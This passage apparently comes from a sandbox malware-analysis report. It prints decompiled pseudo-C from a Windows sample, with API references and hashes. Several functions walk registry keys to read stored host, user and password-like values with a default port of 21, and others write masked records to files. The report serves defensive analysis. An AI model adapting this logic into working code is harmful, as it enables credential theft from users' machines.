											_v48 = E0040E693(_t209, _t155 + _t238);
										} else {
											_v48 = _v48 & 0x00000000;
										}
										_t159 =  *(_t238 + 0xe) & 0x0000ffff;
										__eflags = _t159;
										if(_t159 != 0) {
											__eflags = _t159 + _t238;
											_v44 = E0040E693(_t209, _t159 + _t238);
										} else {
											_v44 = _v44 & 0x00000000;
										}
										_t163 =  *_t238 & 0x0000ffff;
										__eflags = _t163 & 0x00000003;
										if((_t163 & 0x00000003) != 0) {
											E004086FC( *(_t239 + 0x3c),  *(_t239 + 0x38));
											 *(_t239 + 0x3c) =  *(_t239 + 0x3c) & 0x00000000;
											_t167 = E0040E288(__eflags,  &_v60, 0x1c);
											 *(_t239 + 0x38) = _t167;
											__eflags = _t167;
											if(_t167 == 0) {
												E004086D3( &_v60);
												_t239 = _a4;
											} else {
												 *(_t239 + 0x3c) =  *(_t239 + 0x3c) + 1;
											}
											goto L55;
										} else {
											__eflags = _t163 & 0x0000000c;
											if(__eflags == 0) {
												E004086D3( &_v60);
												L47:
												_t239 = _a4;
												goto L48;
											}
											_t211 = E00413F1D( &_v36, _t234, __eflags,  *((intOrPtr*)(_t239 + 0x40)), _v16, 0x40000000);
											_v40 = _t211;
											__eflags = _t211;
											if(_t211 == 0) {
												L54:
												E0040E235(_t211);
												E004086D3( &_v60);
												_t239 = _a4;
												E004086FC( *(_t239 + 0x3c),  *((intOrPtr*)(_a4 + 0x38)));
												_t122 = _t239 + 0x3c;
												 *_t122 =  *(_t239 + 0x3c) & 0x00000000;
												__eflags =  *_t122;
												goto L55;
											}
											_t176 = E004145F6(_t211, _v36);
											__eflags = _t176;
											if(_t176 == 0) {
												goto L54;
											}
											_t177 = E0040E1C0(( *(_t239 + 0x3c) + 1) * 0x1c, _t239 + 0x38);
											__eflags = _t177;
											if(_t177 == 0) {
												goto L54;
											}
											 *(_a4 + 0x3c) =  *(_a4 + 0x3c) + 1;
											E0040E271( *(_a4 + 0x3c) * 0x1c +  *((intOrPtr*)(_t178 + 0x38)),  &_v60, 0x1c);
											goto L47;
										}
									}
									__eflags =  *(_t238 + 0xc);
									if( *(_t238 + 0xc) <= 0) {
										goto L31;
									}
									E00405716( &_v184, _t220, 1,  &_v288);
									_t186 = E0040F4DA( &_v112, ( *(_t238 + 0xc) & 0x0000ffff) + _t238, E0040ED72(( *(_t238 + 0xc) & 0x0000ffff) + _t238));
									__eflags = _t186;
									if(_t186 == 0) {
										goto L48;
									}
									_t230 =  &_v184;
									_t212 = 0;
									__eflags = 0;
									do {
										E0040E59D( *((intOrPtr*)(_t244 + _t212 - 0x6c)), _t230);
										_t212 = _t212 + 1;
										_t230 = _t230 + 4;
										__eflags = _t212 - 0x10;
									} while (_t212 < 0x10);
									_v32 = _v32 | 0xffffffff;
									_t208 = 0x10;
									 *_t230 = 0;
									_v24 = _t208;
									_v20 = 0x80000001;
									_t191 = RegOpenKeyExW(0x80000001,  &_v288, 0, 1,  &_v20);
									__eflags = _t191;
									if(_t191 != 0) {
										goto L31;
									}
									_t195 = RegQueryValueExW(_v20,  &_v184, 0, 0,  &_v80,  &_v24);
									__eflags = _t195;
									if(_t195 == 0) {
										_v32 = _v24;
									}
									RegCloseKey(_v20);
									__eflags = _v32 - _t208;
									if(_v32 == _t208) {
										GetLocalTime( &_v96);
										__eflags = _v74 - _v96.wDay;
										if(_v74 != _v96.wDay) {
											goto L31;
										}
										__eflags = _v78 - _v96.wMonth;
										if(_v78 == _v96.wMonth) {
											goto L48;
										}
									}
									goto L31;
								}
								_t220 = _t238 + _t143;
								_t201 = E004074CA(_t238 + _t143,  *((intOrPtr*)(_t239 + 0x24)),  *((intOrPtr*)(_t239 + 0x28)));
								__eflags = _t201;
								if(_t201 == 0) {
									goto L48;
								}
								goto L20;
							}
							_t220 = _t238 + _t142;
							_t202 = E004074CA(_t238 + _t142,  *((intOrPtr*)(_t239 + 0x24)),  *((intOrPtr*)(_t239 + 0x28)));
							__eflags = _t202 - 1;
							if(_t202 == 1) {
								goto L48;
							}
							goto L18;
						}
						_t203 = E00407750(_t220, _t234, __eflags, 4, _t141,  *((intOrPtr*)(_t239 + 8)),  *((intOrPtr*)(_t239 + 0xc)), _t208);
						__eflags = _t203;
						if(_t203 != 0) {
							goto L48;
						}
						goto L16;
					}
					goto L55;
				}
				return 0;
			}

0x004077c3
0x004077c6
0x004077cc
0x004077e3
0x004077e8
0x004077ec
0x004077f0
0x004077f2
0x004077f5
0x004077f7
0x00407b5a
0x00407b5d
0x00407b64
0x00407b67
0x00000000
0x00407b69
0x004077fd
0x00407800
0x00407803
0x00000000
0x00000000
0x0040780b
0x0040780f
0x00407823
0x00407823
0x00407825
0x00407828
0x0040782b
0x0040782b
0x0040782f
0x00407832
0x00000000
0x00000000
0x00407838
0x0040783c
0x0040783f
0x00000000
0x00000000
0x00407845
0x00407849
0x00000000
0x00000000
0x0040784f
0x00407853
0x00000000
0x00000000
0x00407859
0x0040785d
0x00000000
0x00000000
0x00407863
0x00407867
0x00000000
0x00000000
0x0040786d
0x00407871
0x00000000
0x00000000
0x00407877
0x00407882
0x00407885
0x00407888
0x0040788c
0x00407ae4
0x00407ae8
0x00407aea
0x00407aed
0x00407af0
0x00000000
0x00000000
0x00407af8
0x00407afb
0x00000000
0x00000000
0x00407afd
0x00000000
0x00407afd
0x00407895
0x0040789a
0x0040789f
0x004078a1
0x00000000
0x00000000
0x004078a7
0x004078aa
0x004078ac
0x004078c5
0x004078c5
0x004078c9
0x004078cc
0x004078e4
0x004078e4
0x004078e8
0x004078eb
0x00407903
0x00407903
0x00407906
0x004079ea
0x004079f2
0x004079fa
0x00407a04
0x00407a0e
0x00407a11
0x00407a15
0x00407a18
0x00407a20
0x00407a2a
0x00407a1a
0x00407a1a
0x00407a1a
0x00407a2d
0x00407a31
0x00407a34
0x00407a3c
0x00407a46
0x00407a36
0x00407a36
0x00407a36
0x00407a49
0x00407a4d
0x00407a50
0x00407a58
0x00407a62
0x00407a52
0x00407a52
0x00407a52
0x00407a65
0x00407a68
0x00407a6a
0x00407b0b
0x00407b10
0x00407b1a
0x00407b1f
0x00407b22
0x00407b24
0x00407b2e
0x00407b33
0x00407b26
0x00407b26
0x00407b26
0x00000000
0x00407a70
0x00407a70
0x00407a72
0x00407adc
0x00407ae1
0x00407ae1
0x00000000
0x00407ae1
0x00407a87
0x00407a89
0x00407a8c
0x00407a8e
0x00407b38
0x00407b39
0x00407b41
0x00407b4c
0x00407b51
0x00407b56
0x00407b56
0x00407b56
0x00000000
0x00407b56
0x00407a99
0x00407a9e
0x00407aa0
0x00000000
0x00000000
0x00407ab0
0x00407ab5
0x00407ab7
0x00000000
0x00000000
0x00407ac8
0x00407ad2
0x00000000
0x00407ad2
0x00407a6a
0x0040790c
0x00407911
0x00000000
0x00000000
0x00407926
0x0040793c
0x00407941
0x00407943
0x00000000
0x00000000
0x00407949
0x0040794f
0x0040794f
0x00407951
0x00407955
0x0040795a
0x0040795b
0x0040795e
0x0040795e
0x00407963
0x00407969
0x0040796c
0x00407984
0x00407987
0x0040798a
0x00407990
0x00407992
0x00000000
0x00000000
0x004079aa
0x004079b0
0x004079b2
0x004079b7
0x004079b7
0x004079bd
0x004079c3
0x004079c6
0x004079cc
0x004079d6
0x004079da
0x00000000
0x00000000
0x004079e0
0x004079e4
0x00000000
0x00000000
0x004079e4
0x00000000
0x004079c6
0x004078f0
0x004078f6
0x004078fb
0x004078fd
0x00000000
0x00000000
0x00000000
0x004078fd
0x004078d1
0x004078d7
0x004078dc
0x004078de
0x00000000
0x00000000
0x00000000
0x004078de
0x004078b8
0x004078bd
0x004078bf
0x00000000
0x00000000
0x00000000
0x004078bf
0x00000000
0x0040782b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ffcdda53fc81fc9d99a7eaadf6974c4a8ba7f7c8c9128299227c063e6c74be4
Instruction ID: 5726f8da9bfae49654979633f5bb69e51dbd18bdf93cb4ef096773cb85114c53
Opcode Fuzzy Hash: 4ffcdda53fc81fc9d99a7eaadf6974c4a8ba7f7c8c9128299227c063e6c74be4
Instruction Fuzzy Hash: F7B1BC71D04209AADB10EFA6C841BBEB7B4FF04304F40853AF951B62D1E778B991CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB5E, Relevance: 6.2, APIs: 4, Instructions: 184
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041AB5E(char* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				intOrPtr _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v68;
				char _v88;
				char _v108;
				char _v132;
				char _v172;
				short _v260;
				short _v780;
				void* __edi;
				void* __esi;
				intOrPtr _t65;
				intOrPtr _t92;
				int _t104;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				int _t120;
				void* _t125;
				void* _t132;
				void* _t135;
				void* _t136;

				_t119 = __edx;
				_t118 = __ecx;
				_t120 = 0;
				E0040E2E8( &_v32,  &_v32, 0, 8);
				_t65 = E0040E205(0xc1c);
				_v16 = _t65;
				if(_t65 == 0) {
					L22:
					if(_v28 <= _t120) {
						return E0040E235(_v32);
					}
					return E00418783(_t119, _v32, 0xcb);
				} else {
					_v36 = _t65 + 0x3fc;
					_v48 = 0x80000001;
					_v44 = 0x80000002;
					E00407384(0x8a,  &_v260);
					E00407384(0x8b,  &_v88);
					E00407384(0x8c,  &_v132);
					E00407384(0x8d,  &_v68);
					E00407384(0x8e,  &_v108);
					_v12 = 0;
					do {
						if(RegOpenKeyExW( *(_t135 + _v12 * 4 - 0x2c),  &_v260, _t120, 8,  &_v8) != 0) {
							goto L20;
						}
						_v24 = _t120;
						_v20 = 0x104;
						if(RegEnumKeyExW(_v8, _t120,  &_v780,  &_v20, _t120, _t120, _t120, _t120) != 0) {
							L19:
							RegCloseKey(_v8);
							goto L20;
						} else {
							goto L4;
						}
						L17:
						_v20 = 0x104;
						if(RegEnumKeyExW(_v8, _v24,  &_v780,  &_v20, 0, 0, 0, 0) == 0) {
							L4:
							_t122 = _v16;
							_v24 = _v24 + 1;
							_t92 = E004124EB(_v8, _t118, _v16,  &_v780,  &_v88, 0xff);
							_v40 = _t92;
							if(_t92 != 0xffffffff && _t92 != 0) {
								_t132 = E004124EB(_v8, _t118, _t122 + 0x1fe,  &_v780,  &_v68, 0xff);
								if(_t132 != 0xffffffff && _t132 != 0) {
									_t124 = _v36;
									_t104 = E004124EB(_v8, _t118, _v36,  &_v780,  &_v108, 0xff);
									_v20 = _t104;
									if(_t104 != 0xffffffff && _t104 != 0 && E0041AAA4(_t119, _t124, _t132 + _v40) > 0) {
										_t125 = E004125A1(_v8, _t118,  &_v780,  &_v132);
										if(_t125 < 1 || _t125 > 0xffff) {
											_t125 = 0x15;
										}
										_t134 =  &_v172;
										_t110 = 0x55;
										E00407384(_t110,  &_v172);
										_t112 = _v16;
										_t118 = _v36;
										_push(_t125);
										_push(_t112);
										_push(_t118);
										_push(_t112 + 0x1fe);
										_t119 = 0x311;
										_t126 = _t118 + 0x1fe;
										_t115 = E0040EF28(_t134, 0x311, _t118 + 0x1fe, _t134);
										_t136 = _t136 + 0x14;
										if(_t115 > 0) {
											_t118 =  &_v32;
											if(E0040E629(_t115,  &_v32, _t126) != 0) {
												_v28 = _v28 + 1;
											}
										}
									}
								}
							}
							goto L17;
						} else {
							_t120 = 0;
							goto L19;
						}
						L20:
						_v12 = _v12 + 1;
					} while (_v12 < 2);
					E0040E235(_v16);
					goto L22;
				}
			}

0x0041ab5e
0x0041ab5e
0x0041ab6c
0x0041ab73
0x0041ab7d
0x0041ab82
0x0041ab87
0x0041ad80
0x0041ad83
0x00000000
0x0041ad9c
0x00000000
0x0041ab8d
0x0041ab92
0x0041aba0
0x0041aba7
0x0041abae
0x0041abbb
0x0041abc8
0x0041abd5
0x0041abe2
0x0041abe7
0x0041abef
0x0041ac0c
0x00000000
0x00000000
0x0041ac25
0x0041ac28
0x0041ac37
0x0041ad62
0x0041ad65
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ad34
0x0041ad48
0x0041ad5a
0x0041ac3d
0x0041ac3d
0x0041ac40
0x0041ac52
0x0041ac57
0x0041ac5d
0x0041ac85
0x0041ac8a
0x0041ac98
0x0041acaa
0x0041acaf
0x0041acb5
0x0041acdb
0x0041ace0
0x0041acec
0x0041acec
0x0041acef
0x0041acf5
0x0041acf6
0x0041acfb
0x0041acfe
0x0041ad01
0x0041ad02
0x0041ad03
0x0041ad09
0x0041ad0d
0x0041ad12
0x0041ad18
0x0041ad1d
0x0041ad22
0x0041ad25
0x0041ad2f
0x0041ad31
0x0041ad31
0x0041ad2f
0x0041ad22
0x0041acb5
0x0041ac8a
0x00000000
0x0041ad60
0x0041ad60
0x00000000
0x0041ad60
0x0041ad6b
0x0041ad6b
0x0041ad6e
0x0041ad7b
0x00000000
0x0041ad7b

APIs

RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,?,00000000,00000008,?,00000000,00000001), ref: 0041AC04
RegEnumKeyExW.ADVAPI32 ref: 0041AC2F
RegCloseKey.ADVAPI32(?,?,00000000,00000001), ref: 0041AD65

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

RegEnumKeyExW.ADVAPI32 ref: 0041AD52

Part of subcall function 004124EB: ExpandEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,0041C39E,?,?,00000104), ref: 00412581

Part of subcall function 004125A1: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?,?,?,?,004179B9,?,?), ref: 004125B9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$Enum$CloseEnvironmentExpandStrings
String ID:
API String ID: 2343474859-0
Opcode ID: 00341057a071318f31a1ea5b0c3cbd0be238754088439f8643a594f5f8f51789
Instruction ID: 0817b2eb08a9301e145c2bfb51a544a7636af805e7440da3f5e37d911afdff43
Opcode Fuzzy Hash: 00341057a071318f31a1ea5b0c3cbd0be238754088439f8643a594f5f8f51789
Instruction Fuzzy Hash: E551BDB2D01119ABDB10DBA5CD41AEFB7BCEF44305F10016AE804F3292DB3C9A95CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0F2, Relevance: 6.2, APIs: 4, Instructions: 176
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041B0F2(char* __ecx, void* __eflags) {
				void* _v8;
				int _v12;
				intOrPtr _v16;
				int* _v20;
				intOrPtr _v24;
				char _v28;
				char* _v32;
				char _v40;
				char _v52;
				char _v64;
				char _v76;
				char _v116;
				short _v180;
				short _v700;
				void* __edi;
				void* __esi;
				intOrPtr _t55;
				int _t81;
				int _t89;
				int _t93;
				void* _t99;
				intOrPtr _t101;
				void* _t104;
				int* _t109;
				char* _t113;
				void* _t114;
				void* _t122;

				_t107 = __ecx;
				_t109 = 0;
				E0040E2E8( &_v28,  &_v28, 0, 8);
				_t55 = E0040E205(0xc1c);
				_v16 = _t55;
				if(_t55 == 0) {
					return _t55;
				}
				_v32 = _t55 + 0x3fc;
				E00407384(0x97,  &_v180);
				E00407384(0x98,  &_v64);
				E00407384(0x99,  &_v76);
				E00407384(0x9a,  &_v52);
				E00407384(0x9b,  &_v40);
				if(RegOpenKeyExW(0x80000001,  &_v180, 0, 8,  &_v8) != 0) {
					L20:
					E0040E235(_v16);
					if(_v24 <= _t109) {
						return E0040E235(_v28);
					}
					return E00418783(0x311, _v28, 0xcb);
				}
				_v20 = 0;
				_v12 = 0x104;
				if(RegEnumKeyExW(_v8, 0,  &_v700,  &_v12, 0, 0, 0, 0) != 0) {
					L19:
					RegCloseKey(_v8);
					goto L20;
				} else {
					do {
						_t111 = _v16;
						_v20 = _v20 + 1;
						_t81 = E004124EB(_v8, _t107, _v16,  &_v700,  &_v64, 0xff);
						_v12 = _t81;
						if(_t81 != 0xffffffff && _t81 != 0) {
							_t89 = E004124EB(_v8, _t107, _t111 + 0x1fe,  &_v700,  &_v52, 0xff);
							_v12 = _t89;
							if(_t89 != 0xffffffff && _t89 != 0) {
								_t113 = _v32;
								_t93 = E004124EB(_v8, _t107, _t113,  &_v700,  &_v40, 0xff);
								_v12 = _t93;
								if(_t93 != 0xffffffff && _t93 != 0) {
									_t107 = _t113;
									if(E0040ED84(_t113) > 0) {
										_t114 = E004125A1(_v8, _t107,  &_v700,  &_v76);
										if(_t114 < 1 || _t114 > 0xffff) {
											_t114 = 0x15;
										}
										_t121 =  &_v116;
										_t99 = 0x55;
										E00407384(_t99,  &_v116);
										_t101 = _v16;
										_t107 = _v32;
										_push(_t114);
										_push(_t101);
										_push(_t107);
										_push(_t101 + 0x1fe);
										_t115 = _t107 + 0x1fe;
										_t104 = E0040EF28(_t121, 0x311, _t107 + 0x1fe, _t121);
										_t122 = _t122 + 0x14;
										if(_t104 > 0) {
											_t107 =  &_v28;
											if(E0040E629(_t104,  &_v28, _t115) != 0) {
												_v24 = _v24 + 1;
											}
										}
									}
								}
							}
						}
						_v12 = 0x104;
					} while (RegEnumKeyExW(_v8, _v20,  &_v700,  &_v12, 0, 0, 0, 0) == 0);
					_t109 = 0;
					goto L19;
				}
			}

0x0041b0f2
0x0041b100
0x0041b107
0x0041b111
0x0041b116
0x0041b11b
0x0041b315
0x0041b315
0x0041b126
0x0041b134
0x0041b141
0x0041b14e
0x0041b15b
0x0041b168
0x0041b188
0x0041b2e8
0x0041b2eb
0x0041b2f3
0x00000000
0x0041b30c
0x00000000
0x0041b302
0x0041b1a1
0x0041b1a4
0x0041b1b3
0x0041b2df
0x0041b2e2
0x00000000
0x0041b1b9
0x0041b1be
0x0041b1be
0x0041b1c1
0x0041b1d3
0x0041b1d8
0x0041b1de
0x0041b201
0x0041b206
0x0041b20c
0x0041b21a
0x0041b22c
0x0041b231
0x0041b237
0x0041b23d
0x0041b246
0x0041b25b
0x0041b260
0x0041b26c
0x0041b26c
0x0041b26f
0x0041b272
0x0041b273
0x0041b278
0x0041b27b
0x0041b27e
0x0041b27f
0x0041b280
0x0041b286
0x0041b28f
0x0041b295
0x0041b29a
0x0041b29f
0x0041b2a2
0x0041b2ac
0x0041b2ae
0x0041b2ae
0x0041b2ac
0x0041b29f
0x0041b246
0x0041b237
0x0041b20c
0x0041b2c5
0x0041b2d5
0x0041b2dd
0x00000000
0x0041b2dd

APIs

RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,?,00000000,00000008,?,00000000,00000001), ref: 0041B180
RegEnumKeyExW.ADVAPI32 ref: 0041B1AB
RegCloseKey.ADVAPI32(?,?,00000000,00000001), ref: 0041B2E2

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

RegEnumKeyExW.ADVAPI32 ref: 0041B2CF

Part of subcall function 004124EB: ExpandEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,0041C39E,?,?,00000104), ref: 00412581

Part of subcall function 004125A1: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?,?,?,?,004179B9,?,?), ref: 004125B9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$Enum$CloseEnvironmentExpandStrings
String ID:
API String ID: 2343474859-0
Opcode ID: df77a8f616caecac876102b9e9b3826f616e3c3645bff68cb5777fa93cf55236
Instruction ID: 03236f984540e0c87db592f531f7617587b6b2b8d4c6d5171b990b489bf9dc4f
Opcode Fuzzy Hash: df77a8f616caecac876102b9e9b3826f616e3c3645bff68cb5777fa93cf55236
Instruction Fuzzy Hash: 8C514172900109ABEB10DBA6CD45EEFB7BCEF44304F1001A6F915F3291DB389A85CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA82, Relevance: 6.1, APIs: 4, Instructions: 117
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041CA82(void* __eax, void* __eflags, WCHAR* _a4) {
				signed int _v12;
				signed int _v16;
				char _v26;
				char _v28;
				signed char _v552;
				char _v816;
				short _v1336;
				char _v1856;
				short _v2376;
				char _v2840;
				char _v3320;
				void* __esi;
				signed char _t39;
				signed int _t53;
				void* _t57;
				short _t60;
				char _t73;
				void* _t79;
				signed int _t81;
				WCHAR* _t82;
				void* _t83;

				_t79 = __eax;
				_t39 = E0040F5BA(0xff, 0);
				_v12 = _v12 & 0x00000000;
				_t81 = _t39 & 0x000000ff;
				_t76 = _t81 + 0x107;
				_v16 = _t81 + 0x107;
				_v552 = _t39;
				if(_t81 > 0) {
					do {
						_t73 = E0040F5BA(0xff, 0);
						_t76 = _v12;
						_v12 = _v12 + 1;
						 *((char*)(_t83 + _v12 - 0x223)) = _t73;
					} while (_v12 < _t81);
				}
				E0040E271(_t83 + _t81 - 0x223, _t79 + 0x1e2, 4);
				E0040E271(_t83 + _t81 - 0x21f, _t79 + 0x8c, 0x102);
				E00405606( &_v3320);
				E0040E271( &_v816,  &_v2840, 0x102);
				_t53 = E0040F6B1( &_v816, _t76,  &_v552, _v16);
				_t82 =  &_v1856;
				E0040E440(_t53 | 0xffffffff, _t79 + 0x1a2, _t82, 0, 0x104);
				_t57 = PathRemoveFileSpecW(_t82);
				if(_t57 != 0) {
					_t57 = PathCombineW( &_v2376, _a4, _t82);
					_t88 = _t57;
					if(_t57 != 0) {
						_t60 = 0x2e;
						_v28 = _t60;
						E00412746(3, 3, _t88, 0,  &_v26);
						_t57 = E00412877(0,  &_v2376,  &_v1336,  &_v28, 4, 5);
						if(_t57 != 0) {
							_t57 = CreateFileW( &_v1336, 0xc0000000, 0, 0x4222e0, 2, 0x80, 0);
							if(_t57 != 0xffffffff) {
								CloseHandle(_t57);
								return E00413495( &_v1336,  &_v552, _v16);
							}
						}
					}
				}
				return _t57;
			}

0x0041ca8e
0x0041ca99
0x0041ca9e
0x0041caa2
0x0041caa5
0x0041caab
0x0041caae
0x0041cab6
0x0041cab8
0x0041cabc
0x0041cac1
0x0041cac4
0x0041cac7
0x0041cace
0x0041cab8
0x0041cae4
0x0041cafe
0x0041cb09
0x0041cb1d
0x0041cb32
0x0041cb45
0x0041cb4e
0x0041cb56
0x0041cb5e
0x0041cb71
0x0041cb77
0x0041cb79
0x0041cb7d
0x0041cb7e
0x0041cb8b
0x0041cba7
0x0041cbae
0x0041cbca
0x0041cbd3
0x0041cbd6
0x00000000
0x0041cbed
0x0041cbd3
0x0041cbae
0x0041cb79
0x0041cbf6

APIs

PathRemoveFileSpecW.SHLWAPI(?,00000000,00000104,?,?,?,?,00000102,?,?,00000102,?,?,00000004,00000000), ref: 0041CB56
PathCombineW.SHLWAPI(?,00000000,?), ref: 0041CB71
CreateFileW.KERNEL32(?,C0000000,00000000,004222E0,00000002,00000080,00000000,00000000,?,?,?,00000004,00000005,00000000,?), ref: 0041CBCA
CloseHandle.KERNEL32(00000000), ref: 0041CBD6

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePath$CloseCombineCreateHandleRemoveSpec
String ID:
API String ID: 887897064-0
Opcode ID: ee470478b4723fa307fd0d67dee844344e5c4c7e668e399bf6386ca53cbe2fa4
Instruction ID: 231642b2c7bddd47d8f4e1c77c9b26dacf4dced0211be56faf3cc1bba34d4386
Opcode Fuzzy Hash: ee470478b4723fa307fd0d67dee844344e5c4c7e668e399bf6386ca53cbe2fa4
Instruction Fuzzy Hash: E141A372900119BADB11EAA5DD89FDF77BCAF04704F0045BBB614F6191DA38AA48CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041436A, Relevance: 6.1, APIs: 4, Instructions: 84
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041436A(signed int __edx, void** __esi, void* _a4, signed int _a8) {
				char _v5;
				long _v12;
				void _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _t26;
				signed int _t29;
				signed int _t46;
				void** _t48;

				_t48 = __esi;
				_t46 = __edx;
				_v5 = 0;
				if(_a8 <= 0xa00000) {
					_t26 = E004135E7( *__esi);
					_v36 = _t26;
					_v32 = _t46;
					if((_t26 & _t46) != 0xffffffff && E004135C7( *__esi, 0, 0, 2) != 0) {
						_t29 = E004135E7( *__esi);
						_v28 = _t29;
						_v24 = _t46;
						if((_t29 & _t46) != 0xffffffff) {
							E0040E2E8( &_v20,  &_v20, 0, 5);
							_v20 = __esi[4] ^ _a8;
							if(WriteFile( *__esi,  &_v20, 5,  &_v12, 0) == 0 || _v12 != 5 || WriteFile( *__esi, _a4, _a8,  &_v12, 0) == 0 || _v12 != _a8) {
								E004135C7( *_t48, _v28, _v24, 0);
								SetEndOfFile( *_t48);
							} else {
								_v5 = 1;
							}
						}
						FlushFileBuffers( *_t48);
						E004135C7( *_t48, _v36, _v32, 0);
					}
				}
				return _v5;
			}

0x0041436a
0x0041436a
0x0041437b
0x0041437e
0x00414386
0x0041438b
0x00414390
0x00414396
0x004143b1
0x004143b6
0x004143bb
0x004143c1
0x004143ca
0x004143dc
0x004143ef
0x00414421
0x00414428
0x00414412
0x00414412
0x00414412
0x004143ef
0x00414430
0x0041443f
0x0041443f
0x00414396
0x0041444a

APIs

Part of subcall function 004135E7: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,?,00000001,?,00000000,00000000), ref: 004135FC

Part of subcall function 004135C7: SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,00414343,?,00000000,00000000,00000000,00000000), ref: 004135D9

WriteFile.KERNEL32(?,?,00000005,00000000,00000000,?,00000000,00000005,?,?,00000000,00000000,00000002,?,00000000,00000000), ref: 004143EB
WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00414404
SetEndOfFile.KERNEL32(?,?,?,?,00000000), ref: 00414428
FlushFileBuffers.KERNEL32(?,?,?,00000000,00000000,00000002,?,00000000,00000000), ref: 00414430

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$PointerWrite$BuffersFlush
String ID:
API String ID: 1289656144-0
Opcode ID: 9f3b37a46602adce40fba3c98f5784e7ff530b5cb6d12180fdc126b4819a11d1
Instruction ID: 6f0d1db4c74e530ff93a36284f53ca26c6a69eacb40d418ca6bf8e3d7e714e5e
Opcode Fuzzy Hash: 9f3b37a46602adce40fba3c98f5784e7ff530b5cb6d12180fdc126b4819a11d1
Instruction Fuzzy Hash: 26318F76800108FFDF119FA5CC41EEEBBB9EF48758F14852AF190A6160D33A9A94DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C641, Relevance: 6.1, APIs: 4, Instructions: 82
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C641(intOrPtr __edx, void* __edi, void* __esi) {
				signed short _v8;
				signed short _v12;
				struct _FILETIME _v20;
				struct _SYSTEMTIME _v36;
				intOrPtr _t46;
				void* _t55;
				intOrPtr _t58;
				intOrPtr _t60;
				void* _t61;
				void* _t62;

				_t62 = __esi;
				_t61 = __edi;
				_t60 = __edx;
				 *((intOrPtr*)(__esi + 0x7c)) = 0;
				 *((intOrPtr*)(__esi + 0x84)) = 0;
				 *((char*)(__esi + 0x80)) = 0;
				 *((intOrPtr*)(__esi + 0x78)) = 0;
				 *(__esi + 0x70) = 0;
				 *((intOrPtr*)(__esi + 0x90)) = 0;
				 *((intOrPtr*)(__esi + 0x74)) = 0;
				if(__edi == 0 || __edi == 0xffffffff) {
					return 0x10000;
				}
				if(SetFilePointer( *(__esi + 4), 0, 0, 1) == 0xffffffff) {
					 *(__esi + 0x70) =  *(__esi + 0x70) | 0xffffffff;
					 *((intOrPtr*)(__esi + 0x4c)) = 0x80000000;
					 *((char*)(__esi + 0x6c)) = 0;
					GetLocalTime( &_v36);
					SystemTimeToFileTime( &_v36,  &_v20);
					E0040C206(_v20.dwLowDateTime, _v20.dwHighDateTime,  &_v8,  &_v12);
					_t46 = E0040C1E2(_v20.dwLowDateTime, _v20.dwHighDateTime);
					 *((intOrPtr*)(__esi + 0x50)) = _t46;
					_t58 = _t60;
